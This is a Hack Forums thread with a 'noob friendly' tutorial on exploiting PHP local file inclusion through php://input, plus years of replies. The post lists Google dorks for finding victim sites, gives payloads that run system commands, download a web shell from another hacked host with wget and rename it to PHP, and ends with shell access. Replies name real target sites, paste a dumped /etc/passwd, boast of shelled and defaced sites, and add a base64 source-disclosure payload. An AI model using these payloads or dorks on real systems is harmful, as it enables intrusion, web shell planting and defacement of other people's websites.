Forum:Hack Forums

Thread: [LFI method] php://input - Noob friendly with pictures

HaxOr? - April 9, 2012, 7:16 am
Things you will need:

1.) Site vulnerable to LFI (Local file inclusion)
2.) HackBar

Chapter |

- Finding vulnerable site
Few Google dorks.
Credits: -Downfall

Code inurl:index.php?page=index.php
inurl:index.php?page=sitemap.php
inurl:index.php?page=awards.php
inurl:index.php?page=book.php
inurl:index.php?page=store.php
inurl:index.php?page=items.php
inurl:index.php?page=feedback.php
inurl:index.php?page=welcome.php
inurl:index.php?page=advertise.php
inurl:index.php?page=festival.php
inurl:index.php?page=band.php
inurl:index.php?page=musicians.php
inurl:index.php?page=artist.php
inurl:index.php?page=archive.php
inurl:index.php?page=facilities.php
inurl:index.php?page=activies.php
inurl:index.php?page=bio.php
inurl:index.php?page=biography.php
inurl:index.php?page=menu.php
inurl:index.php?page=profile.php
inurl:index.php?page=terms.php
inurl:index.php?page=tos.php
inurl:index.php?page=screenshots.php
inurl:index.php?page=plans.php
inurl:index.php?page=templates.php
inurl:index.php?page=browse.php
inurl:index.php?page=shows.php
inurl:index.php?page=dining.php
inurl:index.php?page=media.php
inurl:index.php?page=offers.php
inurl:index.php?page=photogallery.php
inurl:index.php?page=schools.php


https://hackforums.net
https://hackforums.net/showthread.php?tid=2384584

inurl:index.php?page=rates.php
inurl:index.php?page=buy.php
inurl:index.php?page=pricing.php
inurl:index.php?page=web.php
inurl:index.php?page=cms.php
inurl:index.php?page=sponsors.php
inurl:index.php?page=login.php
inurl:index.php?page=admin.php
inurl:index.php?page=register.php
inurl:index.php?page=signin.php
inurl:index.php?page=signup.php
inurl:index.php?page=artikel.php
inurl:index.php?page=kontakt.php
inurl:index.php?page=directions.php
inurl:index.php?page=farm.php
inurl:index.php?page=resume.php
inurl:index.php?page=products.php
inurl:index.php?page=music.php
inurl:index.php?page=agenda.php
inurl:index.php?page=faculty.php
inurl:index.php?page=overview.php
inurl:index.php?page=research.php
inurl:index.php?page=publications.php
inurl:index.php?page=outreach.php
inurl:index.php?page=education.php
inurl:index.php?page=regulatoins.php
So when you find some site like this:

Code http://site.com/index.php?page=main.php
Instead of main.php put /etc/passwd and if you get something like this :

[img]http://img820.imageshack.us/img820/723/regionme.png[/img]

If you type php://input instead /etc/passwd and it doesn't throw error then it's vulnerable and we can
continue.

Chapter Il

- Exploiting

So we have our vulnerable site.

Code http://site.com/index.php?page=main.php

Now it's time to exploit it.

Go here and install HackBar (If you don't have it already)

Code https://addons.mozilla.org/en-US/firefox/addon/hackbar/
Now open your site and Load URL into the hackbar.

[img]http://img707.imageshack.us/img707/4452/regionfr.png[/img]
[img]http://img703.imageshack.us/img703/4188/regionzz.png[/img]

Good.
Now replace everything next to = sign and replace it with



Code php://input

Like this

Code http://site.com/index.php?page=php://input
[img]http://img853.imageshack.us/img853/8995/regionbx.png[/img]
Now enable "Enable Post Data"
[img]http://img811.imageshack.us/img811/8567/regionij.png[/img]

You will get new box.
There we will type our commands.

Chapter I

- How the fuck do i shell it?

This part is simple.

All you need to do is to put your commands into "Post Data" box.

We start with simple ones like:

Code <? system('id’); ?>
[img]http://img641.imageshack.us/img641/2285/regiont.png[/img]

As you can see it executed and it works pretty well.
Now comes shelling part.

If you have some hacked site,you can host your shell (In textual (.txt) format)
| will use 404 Gny shell for this tutorial.
We type

Code <? system(‘wget www.site.com/shell.txt"); ?>
(Replace link with your shell location)

[img]http://img214.imageshack.us/img214/5299/regionqg.png[/img]
To see if your shell downloaded type:

Code <? system(ls); ?>

You got list of files in current directory.

Search for your file (Mine one is aa.txt)

(For simple search press CTRL+F and then type your filename there)

[img]http://img823.imageshack.us/img823/4452/regionfr.png[/img]

Final part is to rename aa.txt to aa.php.
This simple command will do the trick:

Code <? system('mv aa.txt aa.php’); ?>
[img]http://img515.imageshack.us/img515/8532/regiondp.png[/img]

Now we just access our shell.



[img]http://img269.imageshack.us/img269/7311/regionhk.png[/img]
[img]http://img191.imageshack.us/img191/9604/regionvj.png[/img]

So that concludes our litlle tutorial.
| hope you guys learned something new today.

Video tutorial thanks to -ZerOFreak-
[Video: https://www.youtube.com/watch?v=IC5Sp7HXwWw]

Greetz to:
Team INTRA, -Downfall, BeggFoMercy, ZerOPwn...

Puk$on - April 9, 2012, 7:29 am
Nice tut, but that shell where can i download it?

HaxOr? - April 9, 2012, 7:33 am

(Apr 9, 2012 07:29 AM)PukkieGek Wrote: [CITE] Nice tut, but that shell where can i download it?
Thanks Pukkie! ?

I'll PM you.

Bacardi - April 9, 2012, 7:40 am
Fantastic tutorial. Going to try it out on some websites.

Thanks haxOr!

HaxOr? - April 9, 2012, 7:41 am
Thanks Bacardi.
| think i will cover more tutorials on LFI methods.

?

03storic - April 9, 2012, 7:49 am
Great tutorial dude, | had never thought of using the POST feature of hackbar to inject for LFI, it
makes thing's so much easier.

joomlafkr - April 9, 2012, 8:00 am
Good write-up Haxor !

Too bad tha LFI ain't very common nowadays :/

Eshta - April 9, 2012, 8:21 am
Great tutorial, 1 wish if you could pm me a download link for that shell. Thanks

-zerocool - April 9, 2012, 8:23 am
Gonna try it now .
Looks nice method.

kalvin26 - April 9, 2012, 8:26 am
nice one i already tried it and i upload a c99shell on one of the sites i got, thanks for this haxor


https://www.youtube.com/watch?v=IC5Sp7HXwWw
https://hackforums.net/showthread.php?pid=21545706#pid21545706

can i also get that shell you use haxor?

oH4i HxOr - April 9, 2012, 8:41 am
Finally, a guide that i fully understand!!

Thank you!
This guide is GREAT!

fobber - April 9, 2012, 8:43 am
Thanks you, HaxOr.. | really didn't knew that you could upload a shell using just LFI.

Most of the time | get an error message, when | try to access /etc/passwd - but oh well. Guess I'll
just have to keep looking!:)
Quote:Not Found

The requested URL /etc/passwd was not found on this server.

Edit:

| finally found one where | could use /etc/passwd. But when | do php://input, then it gives me this:
Quote:Warning: require(php://input) [function.require]: failed to open stream: operation failed in
/home/content/g/a/r//html/admin/index.php on line 25

Fatal error: require() [function.require]: Failed opening required 'php://input’
(include_path=".:/usr/local/php5/lib/php’) in /home/content/g/a/r//html/admin/index.php on line 25

zerOpwn - April 9, 2012, 8:48 am

Great tutorial!

I love how you guys are almost bringing LFI back to life with all the methods (It's alive, but not on
HF).

Amazing tutorial, HaxOr. :)

DCAO0X - April 9, 2012, 8:53 am

Well nice tut haxOr :0) - your are doing good.

such as setting the permissions to read the /etc/shadaow file, | need to authorize my self as an
admin on the server, before | can expande the view on the .shadow file

such a scenario which I'm talking about is that, | explored this randomly website, just to test if your
tut was working ofc. Then it gave me a internal error on apache.. saw it on the live http header, that
the page did not load correctly, but spit out Error 505 or something like that. When | even tried to
execute this script

Code <? system('id"); ?>

anyways | got this far, and not further... haha :)

Code
http://lwaste-mg.com/robotics/index.php?page=../..[..0 .. ... L L
J..1..1..Jetc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbhin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh



Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false bind:x:103:110::/var/cache/bind:/bin/false
postfix:x:104:112::/var/spool/postfix:/bin/false dovecot:x:105:114:Dovecot malil
server,,,:/usr/lib/dovecot:/bin/false sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
messagebus:x:107:116::/var/run/dbus:/bin/false landscape:x:108:65534:Landscape Client
Daemon,,,:/var/lib/landscape:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash
mysql:x:109:120:MySQL Server,,,:/var/lib/mysqgl:/bin/false ftp:x:110:65534::/home/ftp:/bin/false
ralfe:x:1001:1001::/home/ralfe:/bin/bash Debian-exim:x:111:121::/var/spool/exim4:/bin/false
mulletman87:x:1002:1002::/home/mulletman87:/bin/sh terry:x:1003:1003::/home/terry:/bin/bash
richard:x:1004:1004::/home/richard:/bin/bash

feel free to mess around with it ! - Nice work from haxOr right there!.

I'm out. L8ter bitches <3

WhiteHat098 - April 9, 2012, 9:00 am
Ghehe nice :D

Can you PM me the shell?
Tnx in advance.

Swix - April 9, 2012, 9:07 am
Nice tutorial, always delivering something good to have in mind. :)

x0n - April 9, 2012, 9:28 am
Nice guide

10/10
- With all the respect One_FreeDOm

Prominent - April 9, 2012, 10:22 am
Well written and amazing explanation. Good job <3

What Happened To Me: (Click to View)
[img]http://i3.kym-cdn.com/photos/images/newsfeed/000/146/543/2fdefc6d27e6f5fa2d4fce2feff1co

3.jpg[/img]

TwinBlade - April 9, 2012, 10:23 am

omg man, thank you so much'!
You really make a legitimate tut's!
THANK YOU THANK YOU

Onix - April 9, 2012, 12:10 pm
i saw the /etc/passwd but the Post data commands arent working what should i do ?
Anyways gr8 tutorial :D

BeggFoMercy - April 9, 2012, 12:21 pm
Awwww thanks for the Greetz dude <3, And nice written tutorial keep it up :D

bYT3R_ - April 9, 2012, 12:53 pm


javascript:void(0);

Great tutorial again! All Haxor's tutorials are very helpful, so | can only recommend for everyone who
need detailed and HQ works ?

HaxOr? - April 9, 2012, 1:02 pm
Thanks for positive feedback pepole! :) <3

| can make video tutorial if anyone wants...

turbofreak2010 - April 9, 2012, 1:53 pm

Amazing tutorial, helped a lot. Thanks for sharing it.

Would be great if you make video tutorial but this text/pictures tutorial is really helpful.
Keep it up!

iCub™ - April 9, 2012, 2:05 pm
Wow! Amazing Tutorial Bro! Gonna give This a go!! Keep Releasing Tuts Like This! And Most Of
All. THANK YOU!

| Do Not Seed Torrents - April 9, 2012, 2:46 pm
Will keep this as a reference, cheers bro.

NN
’

@Haxor
Is that Coco Austin in your sig, shes fucking hot.
| have a problem, | follow the first step and it happen well but at the second step | obtain that :

Code Warning: include_once(php://input) [function.include-once]: failed to open stream: operation
failed in /lhome/content/37/4936137/html/template.php on line 40

Warning: include_once() [function.include]: Failed opening 'php://input’ for inclusion
(include_path=".:/usr/local/php5/lib/php’) in /home/content/37/4936137/html/template.php on line 40

HaxOr? - April 9, 2012, 2:56 pm
(Apr 9, 2012 02:52 PM)Lucid Dream Wrote: [CITE] | have a problem, | follow the first step and it
happen well but at the second step | obtain that :

Code Warning: include_once(php://input) [function.include-once]: failed to open stream: operation
failed in /Thome/content/37/4936137/html/template.php on line 40

Warning: include_once() [function.include]: Failed opening 'php://input’ for inclusion
(include_path=".:/usr/local/php5/lib/php’) in /home/content/37/4936137/html/template.php on line 40
Not vulnerable,sorry.

@Everyone else

Thanks for feedback! ?

Ok thanks you for your fast answer and nice tutorial. ;)

TeslaHack - April 9, 2012, 4:37 pm


https://hackforums.net/showthread.php?pid=21558124#pid21558124

Excellent tutorial and very detail Bravo stari !

NetOmega - April 9, 2012, 5:47 pm
great tut man, where did u get that shell tho? ive been looking for it

HaxOr? - April 10, 2012, 12:07 pm

(Apr 9, 2012 04:37 PM)TeslaHack Wrote: [CITE] Excellent tutorial and very detail Bravo stari !
Thanks!

Hvala brate.

(Apr 9, 2012 05:47 PM)Mortal991 Wrote: [CITE] great tut man, where did u get that shell tho? ive
been looking for it

Thanks!

Check your message box. ?

Zhen. - April 10, 2012, 12:55 pm
Great tutorial brother.
Will definitely be helpful for others who aren't familiar with this method :3

skOrmpa - April 10, 2012, 2:43 pm
Great tutorial, thanks man, helped me alot, already got about 3 more shelled sites, in two hours :D

HaxOr? - April 11, 2012, 2:59 am

(Apr 10, 2012 02:43 PM)skOrmpa Wrote: [CITE] Great tutorial, thanks man, helped me alot, already
got about 3 more shelled sites, in two hours :D

Thanks skOrmpa i'm glad i could help.

@Zer0
<3

soeasy - April 11, 2012, 10:03 am
Excellent tutorial ?? ? xOr ?
| am gonna try it

Thanks :D

HaxOr? - April 11, 2012, 12:33 pm
(Apr 11, 2012 10:03 AM)soeasy Wrote: [CITE] Excellent tutorial ?? ? x O r ?
| am gonna try it

Thanks :D
Thanks soeasy i appreciate it. ;) ?

NetOmega - April 11, 2012, 5:34 pm

(Apr 10, 2012 12:07 PM)?? ? x O r ? Wrote: [CITE] Thanks!
Check your message box. ?

doesnt seem to be working, i think its missing some code

HaxOr? - April 11, 2012, 5:52 pm

(Apr 11, 2012 05:34 PM)Mortal991 Wrote: [CITE] doesnt seem to be working, i think its missing some
code

It's 100% working mate.


https://hackforums.net/showthread.php?pid=21561145#pid21561145
https://hackforums.net/showthread.php?pid=21563301#pid21563301
https://hackforums.net/showthread.php?pid=21590025#pid21590025
https://hackforums.net/showthread.php?pid=21614503#pid21614503
https://hackforums.net/showthread.php?pid=21585887#pid21585887
https://hackforums.net/showthread.php?pid=21627327#pid21627327

| use it all the time.

Cometfire - April 11, 2012, 8:28 pm

Great method man. | used it to deface the site http://ohiogreenhousegrower.com. Thy now have it
redirecting to another site, but nonetheless, Thanks. This was my 2nd deface, and your method
really helped!

Gjaosu - April 11, 2012, 9:39 pm

| have a problem, Third step Nothing to show

This link:
http://www.lovium.nl/index.php?page=/etc/passwd

Thanks

Yves Saint Laurent - April 11, 2012, 9:40 pm
The tutorial is awesome, especially with pictures.

Thank you!

Cometfire - April 11, 2012, 10:09 pm

(Apr 11, 2012 09:39 PM)Gjaosu Wrote: [CITE] | have a problem, Third step Nothing to show
This link:

http://www.lovium.nl/index.php?page=/etc/passwd

Thanksl don't see what your problem is here. The proper text for /etc/passwd shows up, so what's
wrong?

The lon - April 11, 2012, 10:25 pm
The tutorial is awesome, especially with pictures.

Thank you!

Gjaosu - April 12, 2012, 12:30 am

(Apr 11, 2012 10:09 PM)Pinkie Pie (jshapsl1) Wrote: [CITE] | don't see what your problem is here.
The proper text for /etc/passwd shows up, so what's wrong?

| mean | don't use php://input in third step

HaxOr? - April 12, 2012, 1:29 am

(Apr 11, 2012 09:39 PM)Gjaosu Wrote: [CITE] | have a problem, Third step Nothing to show
This link:

http://www.lovium.nl/index.php?page=/etc/passwd

Thanks
Yea,php://linput doesnt work.
You could always get MySQL info.

https://hackforums.net/showthread.php?tid=2388869

Code http://www.lovium.nl/index.php?page=php://filter/convert.base64-encode/resource=index.php

Gjaosu - April 12, 2012, 1:45 am
(Apr 12, 2012 01:29 AM)?? ? x O r ? Wrote: [CITE] Yea,php://input doesnt work.
You could always get MySQL info.


http://ohiogreenhousegrower.com
http://www.lovium.nl/index.php?page=/etc/passwd
https://hackforums.net/showthread.php?pid=21634241#pid21634241
http://www.lovium.nl/index.php?page=/etc/passwd
https://hackforums.net/showthread.php?pid=21634876#pid21634876
https://hackforums.net/showthread.php?pid=21634241#pid21634241
http://www.lovium.nl/index.php?page=/etc/passwd
https://hackforums.net/showthread.php?tid=2388869
https://hackforums.net/showthread.php?pid=21638076#pid21638076

https://hackforums.net/showthread.php?tid=2388869

Code http://www.lovium.nl/index.php?page=php://ffilter/convert.base64-encode/resource=index.php

Emyli - April 12, 2012, 2:11 pm
| am going to bookmark this. thank you very much for noob friendly tuts!

HaxOr? - April 14, 2012, 3:56 pm

(Apr 12, 2012 02:11 PM)Emyli Wrote: [CITE] | am going to bookmark this. thank you very much for
noob friendly tuts!

Thank for the support Emyli. ?

Cy3erPOnk - April 23, 2012, 1:44 pm
Awesome work mate!!!! See that you put in great time and passion... Cheers

papabear550 - April 23, 2012, 3:43 pm
hello can you pm me where to download that shell ? :)

?rew - April 23, 2012, 4:26 pm
awesome tut love it and hope to use it latter down the road

XYLA - April 24, 2012, 1:02 pm
Very Nice !

?My Other TuT's?:

[TuT]?Avoid Antivirus? and install a ?Persistent Backdoor? With Metasploit[TuT]

all methods of evasion antivirus with metasploit

[TuT] ?EvilGrade? or how to falsify WinUpdates and deliver your ?Meterpreter? . [TuT]

Pootwoot - April 24, 2012, 3:16 pm
Nice tutorial but there are very limited opportunities to find vulnerable sites...

foxOwnage - April 24, 2012, 4:09 pm
Very nice tutorial :P Is it possible that | could have the download link for that shell as well? :P

www_webhead - April 25, 2012, 12:31 am
wow Great tutorials but that shell where can i download it?

HaxOr? - April 25, 2012, 12:33 am
Check your PM's mate.
And thanks for the support.

pthnmj - May 12, 2012, 6:37 pm
Whats the point of shelling.. does that mean we can throw on a dos shell on these ?

HaxOr? - May 13, 2012, 4:27 am

(May 12, 2012 06:37 PM)pthnmj Wrote: [CITE] Whats the point of shelling.. does that mean we can
throw on a dos shell on these ?

Yes!

Or you can root the server. ?


https://hackforums.net/showthread.php?tid=2388869
https://hackforums.net/showthread.php?pid=21650339#pid21650339
https://hackforums.net/showthread.php?tid=2392514
https://hackforums.net/showthread.php?tid=2392514
https://hackforums.net/showthread.php?tid=2392514
https://hackforums.net/showthread.php?tid=2392514
https://hackforums.net/showthread.php?tid=2392514
https://hackforums.net/showthread.php?tid=2392514
https://hackforums.net/showthread.php?tid=2392514
https://hackforums.net/showthread.php?tid=2392514
https://hackforums.net/showthread.php?tid=2392514
http://hackforums.net/showthread.php?tid=2278537
https://hackforums.net/showthread.php?tid=2281578
https://hackforums.net/showthread.php?tid=2281578
https://hackforums.net/showthread.php?tid=2281578
https://hackforums.net/showthread.php?tid=2281578
https://hackforums.net/showthread.php?tid=2281578
https://hackforums.net/showthread.php?tid=2281578
https://hackforums.net/showthread.php?tid=2281578
https://hackforums.net/showthread.php?tid=2281578
https://hackforums.net/showthread.php?tid=2281578
https://hackforums.net/showthread.php?pid=22560985#pid22560985

lalalox4 - May 18, 2012, 2:37 pm
nice tutorials bro

I love to read them :D
| feel a little less stupid after TuT | read

?Victory - May 18, 2012, 3:21 pm
Thanks Haxor ~.” Just Shelled a website with this Tutorial xD

Cold_Blooded - May 18, 2012, 4:02 pm
Thanks for this, learning a lot in a little time :)

GhostDeathDealer - May 19, 2012, 3:01 pm
nice tutorial but you said link to your shell does that mean the download site of the shell or do you
need to upload it on a site? (srry for my bad english)

Delete Me - May 28, 2012, 4:19 am
Another awesome tut from ?? ?2x0Or?.
Thanks and keep em comming!

HaxOr? - May 28, 2012, 11:26 am
Thanks Casual!
| appreciate the feedback.

mrbeard - July 27, 2012, 7:20 am
thanks this was really helpful :D! | have a site that doesn't throw a error when i do php://input
however it doesn't allow me to execute any commands guess its back to dorking...lol

HaxOr? - July 27, 2012, 11:45 am

(Jul 27, 2012 07:20 AM)mrbeard Wrote: [CITE] thanks this was really helpful :D! | have a site that
doesn't throw a error when i do php://input however it doesn't allow me to execute any commands
guess its back to dorking...lol

Thaks for the feedback mrbeard! ?

Catzbow - July 27, 2012, 12:42 pm
this is really good tutorial. :-). Keep it up brother.

root.localhost - July 27, 2012, 1:07 pm
Anyone notice that GidePT script like xtremepoints.net and all the other sites that use GidePT script
has a php://input in it?

intel1230 - July 27, 2012, 1:10 pm
Nice tut, but that shell where can i download it

PlickaMaterna - July 27, 2012, 1:22 pm
Why exactly do you use GNY shell when you have shell_exec already?

MOD3M - July 28, 2012, 11:06 pm
Excellent tutorial as usual. Very easy to understand, and quite detailed.

Mr.BBBB - October 2, 2012, 9:04 am
haxor the boss


https://hackforums.net/showthread.php?pid=24885906#pid24885906

Nice tutorial. Tnx for share

Szakalaka - October 16, 2012, 12:10 pm
if /etc/passwd and php://input redirect me to main page it means site is not vulnerable?

Procrypt - October 16, 2012, 12:59 pm
Fantastic tutorial. Going to try it out on some websites.

Thanks haxOr!

Szakalaka - October 17, 2012, 9:01 am
http://www.death-star.net/index.php?Page=php://input
does not throw error but i cant post any data

b00lean - October 17, 2012, 1:24 pm

Found some sites... Thanks a lot.. ;) very nice tut..
A small by me..

for

http://www.sicumdogsignatures.com

http://pastebin.com/[KgTZARY

?ikism? - October 19, 2012, 6:25 am

When | get this error when typing /etc/passwd

Quote:Warning: include(error.php) [function.include]: failed to open stream: No such file or directory
in D:\Inetpub\webs\isabelconferencecom\content.php on line 13

Warning: include() [function.include]: Failed opening 'error.php' for inclusion
(include_path=".;c:\php\includes’) in D:\Inetpub\webs\isabelconferencecom\content.php on line 13

What does that mean? | can not use LFI method on the site or am | doing it wrong?

Hooded Robin - October 19, 2012, 8:16 am

D:\ => Windows so there will never be any /etc/passwd file, try C:\WINDOWS\win.ini or c:\boot.ini
and see if those are present since they should be present on most Windows systems. Read the
errors, they tell you a whole lot of information...

soacool - October 19, 2012, 1:40 pm
very detailed tut, thank's haxor

133720 - October 22, 2012, 12:03 am
Haxor , You are the Great ,
| very like your Tut :)

b00lean - October 27, 2012, 4:42 am
Help me.. | can not upload the file. :( The commands are working fine. Please help

HaxOr? - October 27, 2012, 4:45 am

(Oct 27, 2012 04:42 AM)muzikal_stOrm Wrote: [CITE] Help me.. | can not upload the file. :( The
commands are working fine. Please help

Okay, PM me and i'll help you... ?


http://www.death-star.net/index.php?Page=php://input
http://www.sicumdogsignatures.com
http://pastebin.com/jKqTZARY
https://hackforums.net/showthread.php?pid=27612528#pid27612528

BlackEvil - October 27, 2012, 8:17 am
Excellent tutorial bro! keep on it!
Thanks for posting i gonna try it right now

MonsterYzBR - October 27, 2012, 8:19 am
Nice and cool thread!

You are awesome!

Amagzing thread!

irishblood - December 28, 2012, 1:02 pm
sir..can you give me the shell too?i want to explore more about the method
thanks in advanced.

HebO - December 28, 2012, 1:58 pm
Verry good and noobfriendly tutorial!
+1!

DARK_HORSE - February 3, 2013, 11:34 am
nyc tut...
can P.M. me shell and a few vuln. sites PLEASE..it will be a great help

?
thanxxx

jeetjain2345 - March 23, 2013, 9:08 am

Bro simple contribution
https://hackforums.net/showthread.php?tid=3349124&pid=31429687#pid31429687

when i saw your tut i thought to make a script for this and i made a simple one hope it will help few
people

-Syn - March 23, 2013, 7:08 pm
great tutorial bro ... thanks for this ..

cheakyjay - May 15, 2013, 5:40 pm
Yeh thanks a lot great tutorial not /proc/self/environ noob stuff :)

-Cheakyjay

SIM-1073426 - May 16, 2013, 8:11 am
Meh the sites | found would display the passwd file but wouldn't execute the php code.

r3spawn - May 16, 2013, 8:18 am
wow,using php:// .thats a nice tuts :D

thank you

cheakyjay - May 16, 2013, 10:13 am

(May 16, 2013 08:11 AM)Sons of Anarchy Wrote: [CITE] Meh the sites | found would display the
passwd file but wouldn't execute the php code.

Yeh it happend to me to :/.

-Cheakyjay ?


https://hackforums.net/showthread.php?tid=3349124&amp;pid=31429687#pid31429687
https://hackforums.net/showthread.php?pid=32663999#pid32663999

HaxOr? - May 16, 2013, 1:29 pm
Yea, i guess this is a pretty rare find. D:
But still good method.

cheakyjay - May 23, 2013, 3:38 pm

(May 16, 2013 01:29 PM)HaxOr? Wrote: [CITE] Yea, i guess this is a pretty rare find. D:

But still good method.

yeh i agree it's good methods most of the hackers that are using only proc/self/environ and deface
websites will not know this and probeblly there we be still LFI vuln sites out there lol

Suved - May 23, 2013, 10:21 pm

(May 16, 2013 01:29 PM)HaxOr? Wrote: [CITE] Yea, i guess this is a pretty rare find. D:
But still good method.

php://input works only when allow_url_include is set to On.

but i'm not sure about it.

correct me if i'm wrong.

Colonel Panic - August 1, 2013, 2:06 pm
Pretty good tutorial, good for beginners :)

crackling - August 1, 2013, 4:52 pm
Nice tutorial bro keep up the goof work

QuicksStar - August 1, 2013, 7:57 pm
Nice tutorial, one post closer till 100 yayaya.

Crenellations - August 2, 2013, 7:40 pm
Is there anything we can do if the /etc/passwd works but the php://input does not? Because it still
seem like there should be some vulnerability.

Nice tutorial btw :)

0x77d718fc - August 3, 2013, 6:07 am
Great tut, didn't know about this method, thanks!

marvzwest - August 3, 2013, 1:57 pm
very kool i must say oh yes very much soo

vico100 - August 11, 2013, 4:32 am
Great tutorial, very informative . :)

Bean Dip - August 11, 2013, 4:34 am
Why the fuck are you guys ing old fucking threads? Wtf is wrong with you guys?

HaxOr? - August 11, 2013, 5:01 am

(Aug 11, 2013 04:34 AM)Cartman™ Worote: [CITE] Why the fuck are you guys ing old fucking
threads? Witf is wrong with you guys?

Because it's a good tutorial? :3

Spoiler (Click to View)

jk

Ice_mans - August 11, 2013, 7:10 am


https://hackforums.net/showthread.php?pid=32669164#pid32669164
https://hackforums.net/showthread.php?pid=32669164#pid32669164
https://hackforums.net/showthread.php?pid=34538682#pid34538682
javascript:void(0);

Very nice HQ post. , Glad to see LFI coming back :)

Would love try that shell , never heard of it before as most of the shells people release are
backdoored.

Thanks in advance.

W4rl0ck1337 - August 11, 2013, 2:21 pm

Nice tutorial , i didnt knew about LFI with php://input method whatsoever ;s (managed to LFI to RCE
few times with /proc/self/environ)

-DeStRoYeR__ - - September 6, 2014, 6:19 am
This is a great tutorial, looks nice method.

mohal313128 - February 16, 2016, 9:37 am
thanks man i learn something new today



